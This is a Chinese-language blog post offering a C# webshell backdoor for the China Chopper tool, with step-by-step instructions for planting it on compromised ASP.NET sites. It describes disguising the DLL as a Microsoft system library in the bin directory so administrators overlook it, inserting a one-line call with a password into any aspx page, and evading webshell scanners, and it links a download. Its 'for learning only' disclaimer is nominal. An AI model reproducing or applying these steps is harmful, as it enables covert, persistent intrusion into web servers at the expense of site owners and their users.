现在的位置: 首页 Asp.Net >正文

C#版菜刀一句话,留后门专用

几年前写的小工具,用于留后门。现在各种新一代菜刀层出不穷,这东西也快下岗了。

其实改改协议写个中转还是可以用的,不过懒得写了,有那时间还不如写个全新的出来。

最后,这个玩意的工程和源码忘了打包,想要源码的直接Reflector吧,没用各种高级特性语法糖,也没做混淆,反编译出来的跟源码是一样的。


0x01 前言

首先解释一下为什么要做这个玩意:

众所周知.net一句话是不能插入到文件之中的,除非那个页面使用Jscript编写,但是现在看来Jscript市场很低,遇到的.net站基本都是C#。新建一个SHELL太过于明显,而且其中的eval更是在WEBSHELL扫描工具的淫威下直接出局。如果不能提权的话,那么过一段时间再打开往往面临的是大大的404。

综上,利用.net会加载bin目录中的类库的特点和命名空间这个神奇的东西编写了这个程序,将文件放在bin目录并在文件中插入调用代码即可。可能你会说放在bin目录不是更明显?这里要说明一点,相信许多的管理猿/站长都没有查看bin目录的习惯,而管理猿/站长并不一定是C#程序猿。假如你是一个这样的管理猿/站长,看到一个名叫System.WebServices.dll、版权写的是微软、产品名称是.Net FrameWork的类库你会不会删?

当然这方法瞒不过聪明的管理猿,但传统方式同样瞒不住。可能这东西有些鸡肋,但在某些时候未必没有用处。


0x02 使用说明

一、将System.WebServices.dll复制到网站根目录的bin子目录中。

二、在任意.net页面插入<%WebServices.ShowRunnerVersion();%>并访问,出现授权与免责声明页面表示调用成功。

三、删除第二步中插入的代码,重新插入<%WebServices.InitializeWebServices("fuck");%>,其中fuck为菜刀连接所需的密码。

四、使用中国菜刀连接,类型选择Customize,密码为第三步中约定的密码。


0x03 注意

一、程序无视预编译(除非是不可更新的预编译),代码可以插在任意aspx页面内,如果连接失败则是因为在先前代码中(.cs或预编译之后的库中)调用了Response.End()方法,请更换页面。如果是插入到页面对应的.cs代码文件之中,请去除脚本标记<%%>之后插入到Page_Load方法对应的代码块之中。

二、由于菜刀对于Customize的连接方式是非加密的,所以安全狗等防御软件会拦截查询数据库等操作,遇到此情况请换用.net菜刀一句话或使用其他脚本查询。

三、发现BUG或提出建议请到草泥马之家留言,毕竟是蛋疼的东西还请多多包涵。

四、本程序只为学习.net编程,任何人使用前必须搭建测试站点并在页面之中调用WebServices.ShowRunnerVersion()方法访问以阅读授权及免责声明。对于因使用不当造成的后果本人不负有任何的法律责任。


下载:        ChopperServerForCsharp.zip

百度网盘:http://pan.baidu.com/s/1bnEhSPD

解压密码见注释